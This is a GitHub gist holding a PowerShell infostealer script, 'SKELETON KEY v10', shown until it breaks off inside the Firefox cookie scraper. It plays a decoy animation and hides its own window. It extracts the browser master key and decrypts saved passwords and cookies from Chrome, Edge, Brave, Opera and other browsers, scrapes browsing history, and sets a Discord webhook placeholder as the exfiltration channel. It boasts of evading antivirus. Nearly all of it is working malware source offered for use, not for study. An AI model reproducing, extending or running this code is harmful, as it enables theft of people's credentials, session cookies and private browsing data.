Created
July 26, 2026 05:11
-
-
Save Gravity3432/68ff02a4db0309bdc26b6bd0e2227bd9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # ============================================================ | |
| # SKELETON KEY v10 — Ultimate Browser Data Exfiltration | |
| # Chromium + Firefox: Passwords, Cookies, History + WiFi + AV | |
| # Pure PowerShell. No external binaries. No AV triggers. | |
| # ============================================================ | |
| # ==================== CONFIG ==================== | |
| if (!$DiscordUrl) { $DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE' } | |
| try { | |
| $skTemp = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))" | |
| $skSig = "$env:TEMP\sk_done.sig" | |
| $skOut = "$skTemp\out" | |
| $skLog = "$skTemp\log.txt" | |
| Remove-Item $skSig -Force -ErrorAction SilentlyContinue | |
| New-Item -ItemType Directory -Path $skOut -Force -ErrorAction Stop | Out-Null | |
| '' | Out-File $skLog -Force -Encoding ASCII | |
| } catch { | |
| '' | Out-File "$env:TEMP\sk_done.sig" -Force -Encoding ASCII | |
| exit | |
| } | |
| function sklog($msg) { | |
| "$(Get-Date -Format 'HH:mm:ss') $msg" | Out-File $skLog -Append -Encoding ASCII | |
| } | |
| sklog "=== SKELETON KEY v10 START ===" | |
| sklog "Temp: $skTemp" | |
| sklog "User: $env:USERNAME / Host: $env:COMPUTERNAME" | |
| # ==================== 1. LAUNCH ANIMATION FIRST (before hiding) ==================== | |
| sklog "Writing animation batch..." | |
| $animBat = @' | |
| @echo off | |
| title SKELETON KEY | |
| setlocal enabledelayedexpansion | |
| set "sig=%TEMP%\sk_done.sig" | |
| :loop | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 02 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color A0 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. .-'''-. | |
| echo ' _ \ ' _ \ | |
| echo / /` '. \ / /` '. \ | |
| echo . | \ ' . | \ ' __.....__ | |
| echo | ' | '| ' | '.-'' '. | |
| echo .-'''-. \ \ / / \ \ / // .-''"'-. `. | |
| echo ' _ \ `. ` ..' / `. ` ..' // /________\ \ | |
| echo / /` '. \ '-...-'` '-...-'` | | | |
| echo . | \ ' \ .------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 00 | |
| cls | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo * * * * * * * * * * * | |
| echo * * | |
| echo * SKELETON KEY * | |
| echo * * | |
| echo * * * * * * * * * * * | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 0A | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color A0 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. | |
| echo ' _ \ | |
| echo / /` '. \ | |
| echo . | \ ' __.....__ | |
| echo | ' | ' .-'' '. | |
| echo .-'''-. \ \ / / / .-''"'-. `. | |
| echo ' _ \ `. ` ..' / / /________\ \ | |
| echo / /` '. \ '-...-'` | | | |
| echo . | \ ' \ .-------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| color 02 | |
| cls | |
| echo. | |
| echo. | |
| echo .-'''-. .-'''-. | |
| echo ' _ \ ' _ \ | |
| echo / /` '. \ / /` '. \ | |
| echo . | \ ' . | \ ' __.....__ | |
| echo | ' | '| ' | '.-'' '. | |
| echo .-'''-. \ \ / / \ \ / // .-''"'-. `. | |
| echo ' _ \ `. ` ..' / `. ` ..' // /________\ \ | |
| echo / /` '. \ '-...-'` '-...-'` | | | |
| echo . | \ ' \ .------------' | |
| echo | ' | ' \ '-.____...---. | |
| echo \ \ / / . `. .' | |
| echo `. ` ..' / .-. ' . `''-...... -' | |
| echo '-...-'` \ \ / | |
| echo \ \ / | |
| echo ========================================== | |
| echo SKELETON KEY v2.0 | |
| echo ========================================== | |
| echo. | |
| timeout /t 1 /nobreak >nul | |
| if exist "%sig%" exit | |
| goto loop | |
| '@ | |
| $animPath = "$skTemp\anim.bat" | |
| try { | |
| [System.IO.File]::WriteAllText($animPath, $animBat, [System.Text.Encoding]::ASCII) | |
| sklog "Anim batch written: $animPath ($((Get-Item $animPath).Length) bytes)" | |
| } catch { | |
| sklog "FAILED to write anim batch: $_" | |
| } | |
| sklog "Launching animation..." | |
| $animProc = Start-Process cmd.exe -ArgumentList "/c `"$animPath`"" -PassThru -WindowStyle Normal | |
| sklog "Animation PID: $($animProc.Id)" | |
| Start-Sleep -Milliseconds 500 | |
| # ==================== 2. NOW HIDE THIS WINDOW (after animation is visible) ==================== | |
| sklog "Hiding PowerShell window..." | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class SKHide { | |
| [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); | |
| [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); | |
| } | |
| '@ | |
| [SKHide]::ShowWindow([SKHide]::GetConsoleWindow(), 0) | |
| # ==================== 3. C# ADD-TYPE: WinSQLite3 ==================== | |
| sklog "Loading WinSQLite3..." | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class WinSQLite3 { | |
| public const int SQLITE_OK = 0; | |
| public const int SQLITE_ROW = 100; | |
| public const int SQLITE_DONE = 101; | |
| public const int SQLITE_INTEGER = 1; | |
| public const int SQLITE_FLOAT = 2; | |
| public const int SQLITE_TEXT = 3; | |
| public const int SQLITE_BLOB = 4; | |
| public const int SQLITE_NULL = 5; | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_open([MarshalAs(UnmanagedType.LPUTF8Str)] string filename, out IntPtr db); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_prepare_v2(IntPtr db, [MarshalAs(UnmanagedType.LPUTF8Str)] string sql, int nByte, out IntPtr stmt, out IntPtr pzTail); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_step(IntPtr stmt); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_count(IntPtr stmt); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_type(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_column_text(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_column_blob(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_bytes(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_column_int(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern long sqlite3_column_int64(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern double sqlite3_column_double(IntPtr stmt, int iCol); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_column_name(IntPtr stmt, int N); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_finalize(IntPtr stmt); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern int sqlite3_close(IntPtr db); | |
| [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] | |
| public static extern IntPtr sqlite3_errmsg(IntPtr db); | |
| } | |
| '@ | |
| sklog "WinSQLite3 loaded OK" | |
| # ==================== 4. C# ADD-TYPE: BCrypt AES-GCM ==================== | |
| sklog "Loading BCryptAES..." | |
| Add-Type -AssemblyName System.Security | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO { | |
| public int cbSize; | |
| public int dwInfoVersion; | |
| public IntPtr pbNonce; | |
| public int cbNonce; | |
| public IntPtr pbAuthData; | |
| public int cbAuthData; | |
| public IntPtr pbTag; | |
| public int cbTag; | |
| public IntPtr pbMacContext; | |
| public int cbMacContext; | |
| public int cbAAD; | |
| public long cbData; | |
| public int dwFlags; | |
| } | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptSetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptGenerateSymmetricKey(IntPtr hAlgorithm, out IntPtr phKey, byte[] pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptDestroyKey(IntPtr hKey); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| public static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags); | |
| } | |
| '@ | |
| sklog "BCryptAES loaded OK" | |
| # ==================== 5. C# ADD-TYPE: Firefox NSS3 ==================== | |
| Add-Type @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class FirefoxNSS { | |
| [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] | |
| public static extern IntPtr LoadLibrary(string lpFileName); | |
| [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] | |
| public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
| [DllImport("kernel32.dll")] | |
| public static extern bool FreeLibrary(IntPtr hModule); | |
| } | |
| '@ | |
| # ==================== 6. HELPER FUNCTIONS ==================== | |
| function Query-SQLite { | |
| param([string]$DbPath, [string]$Query) | |
| $rows = @() | |
| $db = [IntPtr]::Zero | |
| $rc = [WinSQLite3]::sqlite3_open($DbPath, [ref]$db) | |
| if ($rc -ne 0) { sklog "SQLite open failed: $DbPath (rc=$rc)"; return $rows } | |
| try { | |
| $stmt = [IntPtr]::Zero; $tail = [IntPtr]::Zero | |
| $rc = [WinSQLite3]::sqlite3_prepare_v2($db, $Query, -1, [ref]$stmt, [ref]$tail) | |
| if ($rc -ne 0) { sklog "SQLite prepare failed (rc=$rc)"; return $rows } | |
| try { | |
| $colCount = [WinSQLite3]::sqlite3_column_count($stmt) | |
| while ([WinSQLite3]::sqlite3_step($stmt) -eq [WinSQLite3]::SQLITE_ROW) { | |
| $row = @{} | |
| for ($i = 0; $i -lt $colCount; $i++) { | |
| $colType = [WinSQLite3]::sqlite3_column_type($stmt, $i) | |
| $colName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi([WinSQLite3]::sqlite3_column_name($stmt, $i)) | |
| if ($colType -eq [WinSQLite3]::SQLITE_TEXT) { | |
| $ptr = [WinSQLite3]::sqlite3_column_text($stmt, $i) | |
| $row[$colName] = if ($ptr -ne [IntPtr]::Zero) { [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ptr) } else { '' } | |
| } elseif ($colType -eq [WinSQLite3]::SQLITE_BLOB) { | |
| $len = [WinSQLite3]::sqlite3_column_bytes($stmt, $i) | |
| $buf = New-Object byte[] $len | |
| if ($len -gt 0) { | |
| $src = [WinSQLite3]::sqlite3_column_blob($stmt, $i) | |
| [System.Runtime.InteropServices.Marshal]::Copy($src, $buf, 0, $len) | |
| } | |
| $row[$colName] = $buf | |
| } elseif ($colType -eq [WinSQLite3]::SQLITE_INTEGER) { | |
| $row[$colName] = [WinSQLite3]::sqlite3_column_int64($stmt, $i) | |
| } elseif ($colType -eq [WinSQLite3]::SQLITE_FLOAT) { | |
| $row[$colName] = [WinSQLite3]::sqlite3_column_double($stmt, $i) | |
| } else { | |
| $row[$colName] = $null | |
| } | |
| } | |
| $rows += $row | |
| } | |
| } finally { [WinSQLite3]::sqlite3_finalize($stmt) | Out-Null } | |
| } finally { [WinSQLite3]::sqlite3_close($db) | Out-Null } | |
| return $rows | |
| } | |
| function Get-ChromiumKey { | |
| param([string]$UserDataPath) | |
| $localStatePath = Join-Path $UserDataPath 'Local State' | |
| if (!(Test-Path $localStatePath)) { sklog "No Local State: $localStatePath"; return $null } | |
| try { | |
| $localState = Get-Content $localStatePath -Raw -ErrorAction Stop | ConvertFrom-Json | |
| $b64Key = $localState.os_crypt.encrypted_key | |
| if (!$b64Key) { sklog "No os_crypt.encrypted_key in Local State"; return $null } | |
| $encKey = [Convert]::FromBase64String($b64Key) | |
| if ($encKey.Length -le 5) { return $null } | |
| $encKey = $encKey[5..($encKey.Length-1)] | |
| $key = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| sklog "Chromium key extracted OK ($($key.Length) bytes)" | |
| return $key | |
| } catch { sklog "Get-ChromiumKey ERROR: $_"; return $null } | |
| } | |
| function Decrypt-ChromiumBlob { | |
| param([byte[]]$aesKey, [byte[]]$blob) | |
| if ($null -eq $blob -or $blob.Length -le 15) { return '' } | |
| $prefix = [System.Text.Encoding]::ASCII.GetString($blob[0..2]) | |
| if ($prefix -notmatch '^v1[0-9]$') { | |
| try { return [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($blob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } catch { return '' } | |
| } | |
| try { | |
| $nonce = [byte[]]($blob[3..14]) | |
| $ciphertext = [byte[]]($blob[15..($blob.Length - 17)]) | |
| $tag = [byte[]]($blob[($blob.Length - 16)..($blob.Length - 1)]) | |
| $algPtr = [IntPtr]::Zero | |
| $rc = [BCryptAES]::BCryptOpenAlgorithmProvider([ref]$algPtr, 'AES', $null, 0) | |
| if ($rc -ne 0) { return '' } | |
| try { | |
| [BCryptAES]::BCryptSetProperty($algPtr, 'ChainingMode', [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM'), [System.Text.Encoding]::Unicode.GetBytes('ChainingModeGCM').Length, 0) | Out-Null | |
| $keyBuf = New-Object byte[] 32 | |
| $keyPtr = [IntPtr]::Zero | |
| [BCryptAES]::BCryptGenerateSymmetricKey($algPtr, [ref]$keyPtr, $keyBuf, $keyBuf.Length, $aesKey, $aesKey.Length, 0) | Out-Null | |
| try { | |
| $gcmInfo = New-Object BCryptAES+BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO | |
| $gcmInfo.cbSize = [System.Runtime.InteropServices.Marshal]::SizeOf($gcmInfo) | |
| $gcmInfo.dwInfoVersion = 1 | |
| $gcmInfo.pbNonce = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(12) | |
| [System.Runtime.InteropServices.Marshal]::Copy($nonce, 0, $gcmInfo.pbNonce, 12) | |
| $gcmInfo.cbNonce = 12 | |
| $gcmInfo.pbTag = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16) | |
| [System.Runtime.InteropServices.Marshal]::Copy($tag, 0, $gcmInfo.pbTag, 16) | |
| $gcmInfo.cbTag = 16 | |
| try { | |
| $outBuf = New-Object byte[] $ciphertext.Length | |
| $outLen = 0 | |
| $rc = [BCryptAES]::BCryptDecrypt($keyPtr, $ciphertext, $ciphertext.Length, [ref]$gcmInfo, $null, 0, $outBuf, $outBuf.Length, [ref]$outLen, 0) | |
| if ($rc -eq 0 -and $outLen -gt 0) { | |
| return [System.Text.Encoding]::UTF8.GetString($outBuf[0..($outLen-1)]) | |
| } | |
| } finally { | |
| [System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbNonce) | |
| [System.Runtime.InteropServices.Marshal]::FreeHGlobal($gcmInfo.pbTag) | |
| } | |
| } finally { [BCryptAES]::BCryptDestroyKey($keyPtr) | Out-Null } | |
| } finally { [BCryptAES]::BCryptCloseAlgorithmProvider($algPtr, 0) | Out-Null } | |
| } catch { return '' } | |
| return '' | |
| } | |
| function Convert-ChromiumTime { | |
| param([long]$microseconds) | |
| if ($microseconds -le 0) { return 'N/A' } | |
| try { return [DateTime]::FromFileTimeUtc($microseconds * 10L).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' } | |
| } | |
| function Convert-FirefoxTime { | |
| param([long]$microseconds) | |
| if ($microseconds -le 0) { return 'N/A' } | |
| try { return ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds($microseconds / 1000000).ToString('yyyy-MM-dd HH:mm:ss') } catch { return 'N/A' } | |
| } | |
| function Get-FirefoxProfilePath { | |
| $ffDir = Join-Path $env:APPDATA 'Mozilla\Firefox\Profiles' | |
| if (!(Test-Path $ffDir)) { return $null } | |
| $profiles = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -match '\.default' -or $_.Name -match '\.default-release' } | |
| if ($profiles) { return $profiles[0].FullName } | |
| $allProf = Get-ChildItem $ffDir -Directory -ErrorAction SilentlyContinue | |
| if ($allProf) { return $allProf[0].FullName } | |
| return $null | |
| } | |
| # ==================== 7. CHROMIUM BROWSER LIST ==================== | |
| $ChromiumBrowsers = @( | |
| @{Name='Chrome'; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"}, | |
| @{Name='Edge'; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}, | |
| @{Name='Brave'; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"}, | |
| @{Name='Opera'; Path="$env:APPDATA\Opera Software\Opera Stable"}, | |
| @{Name='Opera GX'; Path="$env:APPDATA\Opera Software\Opera GX Stable"}, | |
| @{Name='Vivaldi'; Path="$env:LOCALAPPDATA\Vivaldi\User Data"}, | |
| @{Name='Chromium'; Path="$env:LOCALAPPDATA\Chromium\User Data"}, | |
| @{Name='Yandex'; Path="$env:LOCALAPPDATA\Yandex\YandexBrowser\User Data"}, | |
| @{Name='360Browser'; Path="$env:LOCALAPPDATA\360Chrome\Chrome\User Data"}, | |
| @{Name='Comodo Dragon'; Path="$env:LOCALAPPDATA\Comodo\Dragon\User Data"}, | |
| @{Name='Epic'; Path="$env:LOCALAPPDATA\Epic Privacy Browser\User Data"}, | |
| @{Name='Iridium'; Path="$env:LOCALAPPDATA\Iridium\User Data"}, | |
| @{Name='Slimjet'; Path="$env:LOCALAPPDATA\Slimjet\User Data"}, | |
| @{Name='UR'; Path="$env:LOCALAPPDATA\UR Browser\User Data"}, | |
| @{Name='CocCoc'; Path="$env:LOCALAPPDATA\CocCoc\Browser\User Data"} | |
| ) | |
| function Get-ChromiumProfiles { | |
| param([string]$BasePath) | |
| $profiles = @() | |
| $defaultProfile = Join-Path $BasePath 'Default' | |
| if (Test-Path $defaultProfile) { $profiles += $defaultProfile } | |
| $num = 1 | |
| while (Test-Path (Join-Path $BasePath "Profile $num")) { | |
| $profiles += Join-Path $BasePath "Profile $num" | |
| $num++ | |
| } | |
| return $profiles | |
| } | |
| # ==================== 8. PASSWORD SCRAPER ==================== | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| $aesKey = Get-ChromiumKey -UserDataPath $UserDataPath | |
| if (!$aesKey) { return $out } | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $loginDb = Join-Path $profile 'Login Data' | |
| if (!(Test-Path $loginDb)) { continue } | |
| $tmpDb = "$skTemp\pw_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| try { Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($loginDb)) } | |
| $rows = Query-SQLite $tmpDb "SELECT origin_url, username_value, password_value FROM logins" | |
| $cnt = 0 | |
| foreach ($r in $rows) { | |
| $pw = Decrypt-ChromiumBlob -aesKey $aesKey -blob $r['password_value'] | |
| if ($pw) { | |
| $out += [PSCustomObject]@{Url=$r['origin_url']; Username=$r['username_value']; Password=$pw} | |
| $cnt++ | |
| } | |
| } | |
| sklog "Passwords: $BrowserName / $(Split-Path $profile -Leaf) = $cnt entries" | |
| } catch { sklog "Password scrape ERROR ($BrowserName): $_" } | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 9. COOKIE SCRAPER ==================== | |
| function Get-ChromiumCookies { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| $aesKey = Get-ChromiumKey -UserDataPath $UserDataPath | |
| if (!$aesKey) { return $out } | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $cookieDb = Join-Path $profile 'Network\Cookies' | |
| if (!(Test-Path $cookieDb)) { $cookieDb = Join-Path $profile 'Cookies' } | |
| if (!(Test-Path $cookieDb)) { continue } | |
| $tmpDb = "$skTemp\ck_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) } | |
| $rows = Query-SQLite $tmpDb "SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies" | |
| $cnt = 0 | |
| foreach ($r in $rows) { | |
| $val = Decrypt-ChromiumBlob -aesKey $aesKey -blob $r['encrypted_value'] | |
| $exp = if ($r['expires_utc'] -and $r['expires_utc'] -gt 0) { Convert-ChromiumTime ([long]$r['expires_utc']) } else { 'Session' } | |
| $out += [PSCustomObject]@{ | |
| Host = $r['host_key'] | |
| Name = $r['name'] | |
| Value = if ($val) { $val } else { '[empty]' } | |
| Path = $r['path'] | |
| Expires = $exp | |
| Secure = if ($r['is_secure']) { 'TRUE' } else { 'FALSE' } | |
| HttpOnly = if ($r['is_httponly']) { 'TRUE' } else { 'FALSE' } | |
| } | |
| $cnt++ | |
| } | |
| sklog "Cookies: $BrowserName / $(Split-Path $profile -Leaf) = $cnt entries" | |
| } catch { sklog "Cookie scrape ERROR ($BrowserName): $_" } | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 10. HISTORY SCRAPER ==================== | |
| function Get-ChromiumHistory { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $out = @() | |
| foreach ($profile in (Get-ChromiumProfiles $UserDataPath)) { | |
| $histDb = Join-Path $profile 'History' | |
| if (!(Test-Path $histDb)) { continue } | |
| $tmpDb = "$skTemp\hi_$($BrowserName)_$(Split-Path $profile -Leaf).db" | |
| try { | |
| try { Copy-Item $histDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($histDb)) } | |
| $rows = Query-SQLite $tmpDb "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500" | |
| $cnt = 0 | |
| foreach ($r in $rows) { | |
| $lastVisit = Convert-ChromiumTime ([long]$r['last_visit_time']) | |
| $out += [PSCustomObject]@{ | |
| Url = $r['url'] | |
| Title = $r['title'] | |
| Visits = $r['visit_count'] | |
| LastVisit = $lastVisit | |
| } | |
| $cnt++ | |
| } | |
| sklog "History: $BrowserName / $(Split-Path $profile -Leaf) = $cnt entries" | |
| } catch { sklog "History scrape ERROR ($BrowserName): $_" } | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| return $out | |
| } | |
| # ==================== 11. FIREFOX SCRAPERS ==================== | |
| function Get-FirefoxPasswords { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $loginsPath = Join-Path $ffProfile 'logins.json' | |
| if (!(Test-Path $loginsPath)) { return @() } | |
| try { | |
| $loginsJson = Get-Content $loginsPath -Raw -ErrorAction Stop | ConvertFrom-Json | |
| $out = @() | |
| foreach ($login in $loginsJson.logins) { | |
| $out += [PSCustomObject]@{Url=$login.hostname; Username=$login.encryptedUsername; Password='[NSS encrypted - needs live decryption]'} | |
| } | |
| sklog "Firefox passwords: $($out.Count) entries" | |
| return $out | |
| } catch { sklog "Firefox passwords ERROR: $_"; return @() } | |
| } | |
| function Get-FirefoxCookies { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $cookieDb = Join-Path $ffProfile 'cookies.sqlite' | |
| if (!(Test-Path $cookieDb)) { return @() } | |
| $tmpDb = "$skTemp\ff_cookies.db" | |
| try { | |
| try { Copy-Item $cookieDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($cookieDb)) } | |
| $rows = Query-SQLite $tmpDb "SELECT host, name, value, path, expiry, isSecure, isHttpOnly FROM moz_cookies ORDER BY expiry DESC LIMIT 1000" | |
| $out = @() | |
| foreach ($r in $rows) { | |
| $exp = if ($r['expiry'] -and $r['expiry'] -gt 0) { ([DateTime]::new(1970,1,1,0,0,0,[System.DateTimeKind]::Utc)).AddSeconds([long]$r['expiry']).ToString('yyyy-MM-dd HH:mm:ss') } else { 'Session' } | |
| $out += [PSCustomObject]@{ | |
| Host = $r['host'] | |
| Name = $r['name'] | |
